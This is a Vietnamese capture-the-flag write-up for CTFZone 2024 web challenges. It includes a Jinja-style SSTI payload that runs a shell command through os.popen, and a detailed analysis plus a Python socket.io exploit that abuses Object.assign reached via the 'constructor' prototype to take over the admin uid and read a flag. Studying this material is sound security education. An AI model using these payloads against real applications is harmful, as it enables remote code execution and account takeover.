## web/0ld_b4t_g0ld
Bài này là một bài black box tương đối đơn giản có chức năng reg + login -> sau khi login thì ta được chuyển đến một giao diện comment

Sau khi comment thì sẽ hiển thị comment ở dưới:

Quan sát api đã được gửi

Vì thông tin đã bị escape nên khả năng là không xss được nên mình ngay lập tức nghĩ đến SSTI nhưng có vẻ không được để ý là api này version2 nên mình đổi thành version1 và may mắn nó vẫn có hoạt động

Yếu cầu có username và comment thấy server chạy python nên thử vài lần thì thấy template là marko và ssti tại username.

```
POST /api/v1/UserComments HTTP/1.1
Host: old-but-gold.ctfz.zone
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://old-but-gold.ctfz.zone/profile
Content-Type: application/json
Content-Length: 123
Origin: http://old-but-gold.ctfz.zone
Connection: close
Cookie: access_token_cookie=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyMzM2Mjc3MCwianRpIjoiYTZiN2E0N2YtNDY3ZS00ZTg3LTg0YWQtZGI3NWYxOTVlMWQ3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Im1sZW1tbGVtMiIsIm5iZiI6MTcyMzM2Mjc3MCwiZXhwIjoxNzIzNDQ5MTcwfQ.Wpky92zcF4sz9SyzodyA57H3owu_m2Gf9GCAKtEoqzU
Priority: u=0
{"contents":"1",
"username": "{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat app/flag').read()}}"
}
```

flag: `CTFZone{h0w_d1d_y0u_f0und_rny_g0ld!!1!_3bca97c049e57af4be84e8e24f2cdb21}`
## web/Funny buttons [9 solves]
Đến với một challenge websocket + redis để lưu thông tin người dùng được tương tác qua redisClient chỉ có một chức năng đơn giản là đăng kí đăng nhập -> click button -> và ta có thể set thông điệp cho từng button và get nó thông qua DOM event tương tác với websocket.
- Vì author cho source nên ta sẽ đi vào phân tích luôn:
### analysis
```
// server.js
const express = require('express');
const session = require('express-session');
const http = require('http');
const { Server } = require("socket.io");
const exphbs = require('express-handlebars');
const RedisStore = require("connect-redis").default
const { redisClient, db } = require('./db');
const { authorize, onConnection } = require('./socket.io')
const HOST = '0.0.0.0';
const PORT = process.env.PORT ?? '3000';
const SESSION_SECRET = process.env.SESSION_SECRET ?? 'secret';
const FLAG = process.env.FLAG ?? 'CTFZONE{redactedfunnyhere}';
const app = express();
const server = http.createServer(app);
const io = new Server(server);
const hbs = exphbs.create();
app.use(express.urlencoded({ extended: false }));
app.use(express.json());
app.use('/static/', express.static('./static'))
io.use(authorize);
io.on('connection', onConnection);
// views
app.engine('handlebars', hbs.engine);
app.set('view engine', 'handlebars');
// session
let sessionMiddleware = session({
store: new RedisStore({ client: redisClient }),
secret: SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: false,
httpOnly: true,
},
})
io.engine.use(sessionMiddleware);
app.use(sessionMiddleware);
// flash
app.use((req, res, next) => {
const { render } = res;
req.session.flash = req.session.flash ?? [];
res.render = (template, options={}) => {
render.call(res, template, {
user: req.session?.user,
flash: req.session.flash,
...options,
});
req.session.flash = [];
};
res.flash = (level, message) => {
req.session.flash.push({ level, message });
};
next();
});
const ensureAuth = (req, res, next) => {
if (!req.session?.user?.id) {
res.flash('warning', 'Login required');
return res.redirect('/login');
}
next();
};
app.get('/', ensureAuth, (req, res) => res.render('index', req.session.user));
app.get('/register', (req, res) => res.render('register'));
app.post('/register', async (req, res) => {
try {
await db.createUser(...Object.values(req.body));
res.redirect('/login');
} catch (error) {
console.error('create user error:', error?.message)
res.flash('danger', `Error: ${error?.message}`);
res.render('register');
}
});
app.get('/login', (req, res) => res.render('login'));
app.post('/login', async (req, res) => {
const user = await db.getUserByNameAndPassword(...Object.values(req.body));
if (!user) {
res.flash('danger', 'invalid username or password');
return res.status(401).render('login');
}
await db.addSessionToUser(user.id, req.sessionID);
req.session.user = user;
res.redirect('/');
});
app.post('/logout', ensureAuth, (req, res) => {
const sid = req.sessionID;
const uid = req.session.user.id;
req.session.destroy(async (error) => {
if (error) {
console.error('logout error:', error?.message);
}
await db.removeSessionFromUser(uid, sid);
res.clearCookie('connect.sid');
res.redirect('/login');
});
});
server.listen(PORT, HOST, () => console.log(`Listening on ${HOST}:${PORT}`));
```
- Server khởi tạo server với expressjs + socket-io và hbs template để hiển thị giao diện.
Để ý đầu tiên sẽ có chức năng register user -> gọi method createUser của class db với thông tin username và password client gửi đến ->
```
async createUser(name, password) {
const isAvailable = await redisClient.SETNX(`user:${name}`, 'PLACEHOLDER');
if (!isAvailable) {
throw new Error('user already exists!');
}
const uid = await redisClient.INCR('index:uid');
await redisClient.SET(`user:${name}`, uid);
const hash = await argon2.hash(password);
await redisClient.HSET(`uid:${uid}`, { name, hash });
return uid;
}
```
Sử dụng redis để lưu thông tin của người dùng và uid của người dùng được tăng lên = số uid đã có + 1 với method `INCR` -> hash password với agron2 và lưu vào redis với uid + name + hash.
Sau khi đăng nhập xong thì người dùng sẽ có chức năng login -> `db.getUserByNameAndPassword(...Object.values(req.body))` method này sẽ được gọi với tham số là username và passwd của người dùng ->
```
async getUserByNameAndPassword(name, password) {
const uid = await redisClient.GET(`user:${name}`);
if (!uid) {
return null;
}
const user = await helpers.getUser(uid);
if (!user) {
return null;
}
try {
if (await argon2.verify(user.hash, password)) {
return user;
} else {
return null;
}
} catch (error) {
console.log('argon error:', error?.message);
return null;
}
}
```
- Tương tự thì server sẽ thực hiện lấy ra uid qua name -> gọi method getUser
```
async getUser(uid) {
const user = await redisClient.HGETALL(`uid:${uid}`);
if (!user?.name) {
return null;
}
user.id = uid;
return user;
}
```
Method này lấy tất cả user ra thông qua uid sau đó gán user.id là uid đã tìm được ở trên -> ret user.
Quay trở lại với flow login thì cuối cùng sẽ compare hash passwd tương tự như bcrypt nếu thành công thì ret user else null -> tiếp theo sẽ gọi `await db.addSessionToUser(user.id, req.sessionID);`
```
async addSessionToUser(uid, sid) {
return redisClient.SADD(`uid:${uid}:sessions`, sid);
}
```
Chương trình sẽ lưu uid:sessions: sessionid của người dùng vào redis
Cuối cùng sẽ gán `req.session.user = user` và chuyển hướng người dùng đến `/`
Chức năng logout thì quá quên thuộc nên mình sẽ không đề cập đến ở đây.
- Có 2 middleware nhưng ta chỉ chú ý đến
```
const ensureAuth = (req, res, next) => {
if (!req.session?.user?.id) {
res.flash('warning', 'Login required');
return res.redirect('/login');
}
next();
};
```
Cho thấy phải tồn tại `uid` của người dùng thì mới có quyền truy cập
### Socket-IO server:
```
// socket.io/index.js
const async = require('async');
const cookieParser = require('cookie-parser')(process.env.SESSION_SECRET ?? 'secret');
const { redisClient, db } = require('../db');
const ratelimit = require('./ratelimit');
let Namespaces = {};
let onlineCount = 0;
requireModules();
db.flushOnlineUsers();
db.flushPressedButtons();
function onConnection(socket) {
db.incrOnlineUsers();
socket.ip = (socket.request.headers['x-forwarded-for'] || socket.request.connection.remoteAddress || '').split(',')[0];
socket.onAny((eventName, params, callback) => {
onMessage(socket, eventName, params, callback);
});
socket.on('disconnect', function() {
onlineCount--;
db.decrOnlineUsers();
});
socket.on("connect_error", (err) => {
console.log(`connect_error due to ${err.message}`);
});
}
function onMessage(socket, eventName, params, callback) {
callback = typeof callback === 'function' ? callback : function () {};
if (!eventName) {
console.log('[socket.io] Empty method name');
return callback({ message: '[socket.io] Empty method name' });
}
if (!params) {
console.log('[socket.io] Empty payload');
return callback({ message: '[socket.io] Empty payload' });
}
var parts = eventName.toString().split('.');
var namespace = parts[0];
var methodToCall = parts.reduce(function (prev, cur) {
if (prev !== null && prev[cur]) {
return prev[cur];
}
return null;
}, Namespaces);
if (!methodToCall) {
if (process.env.NODE_ENV === 'development') {
console.log('[socket.io] Unrecognized message: ' + eventName);
}
return callback({ message: '[[error:invalid-event]]' });
}
socket.previousEvents = socket.previousEvents || [];
socket.previousEvents.push(eventName);
if (socket.previousEvents.length > 20) {
socket.previousEvents.shift();
}
if (ratelimit.isFlooding(socket)) {
console.log('[socket.io] Too many emits! Disconnecting uid : ' + socket.uid + '. Events : ' + socket.previousEvents);
return socket.disconnect();
}
async.waterfall([
function (next) {
if (Namespaces[namespace].before) {
Namespaces[namespace].before(socket, eventName, params, next);
} else {
next();
}
},
function (next) {
methodToCall(socket, params, next);
},
], function (err, result) {
console.log('result', err, result);
callback(err ? { message: err.message } : null, result);
});
}
function requireModules() {
var modules = [
'user',
'button',
'room'
];
modules.forEach(function (module) {
Namespaces[module] = require('./' + module);
});
}
function authorize(socket, callback) {
let request = socket.request;
if (!request) {
return callback(new Error('[[error:not-authorized]]'));
}
async.waterfall([
function (next) {
cookieParser(request, {}, next);
},
function (next) {
if (!request.session?.user?.id) {
return next(new Error('[[error:not-authorized]]'));
}
socket.uid = parseInt(request.session.user.id, 10);
socket.uname = request.session.user.name;
next();
},
], callback);
}
module.exports = {
authorize,
onConnection
};
```
Khi server được khởi tạo sẽ gọi luôn `authorize` là middleware + onConnection để khởi tạo connect đến socket server.
onConnection sẽ lấy số lượng user online được lưu trong redis và tăng lên 1 tính thêm cả client mới join
```
async incrOnlineUsers() {
return await redisClient.INCR('online');
}
```
Lây ip của người dùng qua các header -> lắng nghe bất kì even nào được emit đến và gọi `onMessage(socket, eventName, params, callback);`
Tương tự lắng nghe sự kiện disconnect hoặc trả tra các exception khi xảy ra lỗi
Đầu tiên là socket sẽ khởi tạo các biến để chứa dữ liệu + gọi các hàm để khởi tạo
```
let Namespaces = {};
let onlineCount = 0;
requireModules();
db.flushOnlineUsers();
db.flushPressedButtons();
```
```
function requireModules() {
var modules = [
'user',
'button',
'room'
];
modules.forEach(function (module) {
Namespaces[module] = require('./' + module);
});
}
```
- Gắn các key vào `Namespaces` là `user` `button` `room` và giá trị là giá trị được export ra từ các module tương ứng.
```
// module user
const { db } = require('../db');
function getOnline(socket, data, callback){
db.getOnlineUsers().then(res => {
socket.emit('user.getOnline', {success: true, count: res});
}).catch(err => callback(err));
}
function getInfo(socket, data, callback){
socket.emit('user.getInfo', {
success: true,
info: {
uname: socket.uname,
uid: socket.uid
}
});
}
module.exports = {
getOnline,
getInfo
}
```
ở đây sẽ có 2 func được trả ra đầu tiên là lấy số lượng user online bằng cách lắng nghe `user.getOnline` và trả ra `success: true, count: res}`
Tiếp theo là func getInfo sẽ lắng nghe `user.getInfo` và trả ra `success: true,
info: {
uname: socket.uname,
uid: socket.uid
}
}`
```
// module
```
```
// module button
const { db } = require('../db');
function getAll(socket, data, callback){
db.getAllButtons().then(res => {
socket.emit('button.getAll', {success: true, buttons: res});
});
}
function get(socket, data, callback){
if (!data?.id || data?.id < 1 || data?.id > 25){
return callback(new Error('invalid button id'));
}
db.getButton(data.id).then(button => {
if (!button?.isPressed || button?.uid !== socket.uid){
return callback(new Error('you should press button first!'));
}
db.getFunny(data.id, socket.uid).then(res => {
socket.emit('button.get', {success: true, id: data.id, funny: res});
});
}).catch(err => callback(err));
}
function set(socket, data, callback){
if (!data?.id || data?.id < 1 || data?.id > 25)
return callback(new Error('invalid button id'));
if (!data?.funny)
return callback(new Error('no funny?'));
db.getButton(data.id).then(button => {
if (!button?.isPressed || button?.uid !== socket.uid){
return callback(new Error('you should press button first!'));
}
db.setFunny(data.id, socket.uid, data.funny).then(res => {
socket.emit('button.set', {success: true});
});
}).catch(err => callback(err));
}
function press(socket, data, callback){
if (!data?.id || data?.id < 1 || data?.id > 25)
return callback(new Error('invalid button id'));
db.getButton(data.id).then(async button => {
db.setButton(data.id, !(button?.isPressed|0), socket.uid).then(res => {
let pressed = !(button?.isPressed|0);
let uname = pressed ? socket.uname.substring(0,8) : NaN;
let uid = pressed ? socket.uid : NaN;
let result = {
success: true,
id: data.id,
pressed: pressed,
uname: uname,
uid: uid
};
socket.emit('button.press', result);
socket.in('online_users').emit('button.press', result);
});
}).catch(err => callback(err));
}
module.exports = {
getAll,
get,
set,
press
}
```
ở đây sẽ là phần ta chú ý nhiều và có tới 4 func được export
getAll sẽ trả ra tổng cộng 25 buttons với các thông tin:
```
result.push({
id: i+1,
pressed: pressed,
uname: uname,
uid: uid
});
```
get sẽ nhận data là id -> kiểm tra id có hợp lệ với số lượng các button hiện có hay không -> kiểm tra xem người dùng đã bấm nút hay chưa -> nếu đã bấm thì sẽ gọi:
```
async getFunny(id, uid) {
return await redisClient.GET(`button:${id}:${uid}:funny`);
}
```
Sau đó sẽ trả ra thông tin `{success: true, id: data.id, funny: res}`
set cũng tương tự nhưng khác ở chỗ là nó nhận data funny -> lưu vào trong redis
cuối cùng là press nó sẽ lưu vào redis là button đã được press hay chưa
cuối cùng là module room
```
//module room
function join(socket, data, callback){
if (!data?.room)
return callback(new Error('invalid room'))
socket.join(data.room);
}
module.exports = {
join
};
```
Kiểm tra xem phòng có tồn tại hay không và join vào phòng đó
Quay trở lại với flow chính khi khởi tạo socket.io server -> sau khi gọi hàm khởi tạo cho Namespaces -> gọi `db.flushOnlineUsers();
db.flushPressedButtons();` để set online user về 0 và button set về chưa press.
middleware được sử dụng là author
```
function authorize(socket, callback) {
let request = socket.request;
if (!request) {
return callback(new Error('[[error:not-authorized]]'));
}
async.waterfall([
function (next) {
cookieParser(request, {}, next);
},
function (next) {
if (!request.session?.user?.id) {
return next(new Error('[[error:not-authorized]]'));
}
socket.uid = parseInt(request.session.user.id, 10);
socket.uname = request.session.user.name;
next();
},
], callback);
}
```
Sử dụng `cookieParser` parse cookie client -> lấy ra id + name của người dùng và gắn vào biến socket
Thì đó sẽ là flow chính của chương trình -> tiếp theo ta sẽ đi tìm nơi giấu flag của tác giả
```
#!/bin/bash
while ! nc -z $REDIS_HOST $REDIS_PORT; do
sleep 0.1
done
# admin sending funny or smth
node <<-EOF
const { redisClient, db } = require('./db');
const crypto = require("crypto");
const funny = process.env.FLAG ?? 'CTFZONE{redactedfunnyhere}';
(async () => {
let user = await db.getUser(1);
if (!user?.name){
let username = 'admin';
let password = crypto.randomBytes(20).toString('hex');
await db.createUser(username, password);
let buttonId = Math.floor(Math.random() * 24)+1
await db.setButton(buttonId, true, 1);
await db.setFunny(buttonId, 1, funny);
}
process.exit();
})();
EOF
node server.js
```
- Khi chạy chương trình thì shell này sẽ được gọi và tạo một user với name là admin + passrandom -> random funny sẽ chứa trong 1 button từ 1 đến 25 -> set buttonId là đã press + set funny là giá trị của flag.
Vậy thì ta có thể thấy được flag bằng việc getFunny ``redisClient.GET(`button:${id}:${uid}:funny`)``
Để ý 2 tham số được truyền vào `db.getFunny(data.id, socket.uid)` arg[0] là data.id là id của button và giá trị này ta có thể control, arg[1] là socket.uid -> như ta phân tích ở trên thì giá trị này sẽ được xử lí :
```
function (next) {
if (!request.session?.user?.id) {
return next(new Error('[[error:not-authorized]]'));
}
socket.uid = parseInt(request.session.user.id, 10);
socket.uname = request.session.user.name;
next();
}
```
Và đây là session của user được set ngay sau khi ta login và như đã biết thì chắc chắn nó sẽ khác 1 vậy thì lấy flag là bất khả thi tại thời điểm này.
### CVE-2022-46164 Account takeover via prototype vulnerability in NodeBB
Như nãy mình nói ở trên thì sau khi mà khởi tạo connection thì server sẽ lắng nghe bất kì event nào được gửi đến và sẽ dùng hàm onMessage để xử lí callback tương ứng
```
function onMessage(socket, eventName, params, callback) {
callback = typeof callback === 'function' ? callback : function () {};
if (!eventName) {
console.log('[socket.io] Empty method name');
return callback({ message: '[socket.io] Empty method name' });
}
if (!params) {
console.log('[socket.io] Empty payload');
return callback({ message: '[socket.io] Empty payload' });
}
var parts = eventName.toString().split('.');
var namespace = parts[0];
var methodToCall = parts.reduce(function (prev, cur) {
if (prev !== null && prev[cur]) {
return prev[cur];
}
return null;
}, Namespaces);
if (!methodToCall) {
if (process.env.NODE_ENV === 'development') {
console.log('[socket.io] Unrecognized message: ' + eventName);
}
return callback({ message: '[[error:invalid-event]]' });
}
socket.previousEvents = socket.previousEvents || [];
socket.previousEvents.push(eventName);
if (socket.previousEvents.length > 20) {
socket.previousEvents.shift();
}
if (ratelimit.isFlooding(socket)) {
console.log('[socket.io] Too many emits! Disconnecting uid : ' + socket.uid + '. Events : ' + socket.previousEvents);
return socket.disconnect();
}
async.waterfall([
function (next) {
if (Namespaces[namespace].before) {
Namespaces[namespace].before(socket, eventName, params, next);
} else {
next();
}
},
function (next) {
methodToCall(socket, params, next);
},
], function (err, result) {
console.log('result', err, result);
callback(err ? { message: err.message } : null, result);
});
}
```
Hàm này sẽ nhận socket, eventName, param, callback -> đầu tiên thì sẽ check là kiểu của callback có phải func không nếu không thì sẽ là func -> yêu cầu có `eventName` và `params`
Tiếp theo sẽ split eventName và gắn vào biến parts

* Chú ý Namespaces lúc này cũng đã được khởi tạo như ta đã mô tả
Sau đó gắn

Khởi tạo biến `methodToCall` bằng mảng part với method reduce với đối số là Namespaces

Cuối cùng sẽ gọi lần lượt 2 hàm nằm trong này:
```
async.waterfall([
function (next) {
if (Namespaces[namespace].before) {
Namespaces[namespace].before(socket, eventName, params, next);
} else {
next();
}
},
function (next) {
methodToCall(socket, params, next);
},
], function (err, result) {
console.log('result', err, result);
callback(err ? { message: err.message } : null, result);
});
```
Ta chỉ chú ý đến `methodToCall(socket, params, next);` như ở trên thấy thì methodToCall sẽ là một funcion trường hợp như này nó là:
```
function getInfo(socket, data, callback){
socket.emit('user.getInfo', {
success: true,
info: {
uname: socket.uname,
uid: socket.uid
}
});
}
```
Vậy là ta có thể control được methodToCall này nó là method nằm trong Namespace.
Quay lại với Namespace được khởi tạo thì như ta biết trong js có tính kế thừa mà ta khởi tạo `Namespace = {}` thì nó kế thừa thuộc tính prototype của các base


Đối với hàm getFunny thì nó sẽ lấy uid của ta qua middleware socket và uid được lưu trong socket variable -> vậy thì nếu mà ta thay đổi uid của mình thành 1 có được không

Quan sát lúc này socket chứa uid và username và ip của chúng ta
Và trong js có một method có thể được dùng để copy

`sao chép các thuộc tính từ đối tượng trong tham số hai sang đối tượng trong tham số một và để nguyên tất cả các thuộc tính khác của đối tượng một`
Bây giờ ta sẽ dùng methodToCall ở trên để nó gọi `assign` với đối số đầu tiên là socket đối số thứ 2 là parameter ta truyền vào.
Và ở đây chúng ta thấy cách có thể truy cập hàm gán thông qua Namespaces. Chúng ta có thể sử dụng cú pháp Namespaces['__proto__']['constructor']['assign'], hoặc phiên bản ngắn hơn Namespaces['constructor']['assign']
`await communicate("constructor.assign", {"uid": 1}, False)` ta thử gửi đến server



Như ta quan sát thì method to call lúc này đã là assign

uid lúc này đang là 6
Sau khi chạy methodToCall thì Namespace đã có method assign

Lúc này uid của người dùng đã là 1

Bây giờ chỉ cần emit button.get với data idButton là trong range(1,26) nữa và nhận flag.
### exploit local + real server
poc:
```
l3mnt2010@ASUSEXPERTBOOK:~/ctfZone2024/breathtaking-roulette$ cat e.py
import socketio
import asyncio
import httpx
import random
import string
BASE_URL = "http://localhost"
#BASE_URL = "http://funny-buttons.ctfz.zone"
def button_id():
return random.randint(1, 25)
def random_string(length: int = 32):
return "".join(random.choice(string.ascii_lowercase) for _ in range(length))
async def main():
async with httpx.AsyncClient() as client:
user = random_string(8)
password = random_string(8)
rsp = await client.post(
f"{BASE_URL}/register",
data={"name": user, "password": password},
follow_redirects=True
)
assert rsp.status_code == 200
rsp = await client.post(
f"{BASE_URL}/login",
data={"name": user, "password": password},
)
print(client.cookies)
async with socketio.AsyncSimpleClient() as sio:
await sio.connect(
f'{BASE_URL}',
headers={
"Cookie": f"connect.sid={client.cookies['connect.sid']}",
},
)
async def communicate(msg: str, data, receive_response: bool = True):
print(f'Sending {msg} with {data = }')
await sio.emit(msg, data)
if receive_response:
method, resp = await sio.receive()
print(f'Received response for {method}: {resp}')
return resp
return None
await communicate("constructor.assign", {"uid": 1}, False)
await communicate("user.getInfo", {})
# for uid in range(1, 26):
# resp = {'pressed': False}
# while not resp['pressed']:
# resp = await communicate("button.press", {"id": uid})
# await communicate("button.get", {"id": uid})
uid = 3
resp = {'pressed': False}
while not resp['pressed']:
resp = await communicate("button.press", {"id": uid})
await communicate("button.get", {"id": uid})
if __name__ == '__main__':
asyncio.run(main())
```
Mô tả poc đầu tiên sẽ reg new user với username và pass random tiếp theo sẽ đăng nhập và lấy ra session-id gắn vào header cookie để lấy phiên -> prototype polution với `await communicate("constructor.assign", {"uid": 1}, False)` và không nhận response từ socket -> lấy thông tin người dùng xem đã thay đổi uid thành công hay chưa -> press button nếu chưa press -> cuối cùng là get funny từ button `communicate("button.get", {"id": uid})` với uid là số thứ tự của button -> do id button random nên ta sẽ chạy từ 1 đến 25.


flag : `CTFZONE{y0u_just_pr3ss3d_v3ry_funny_butt0n_378b2b63-f818-45aa-9e84-3fdb1551fedf}`
## web/breathtaking-roulette
Bài này trông có vẻ như raceconditon và chall sử dụng websocket đến chơi gungun đối kháng và nếu mình thắng thì nhận flag


spam và dành chiến thắng
## web/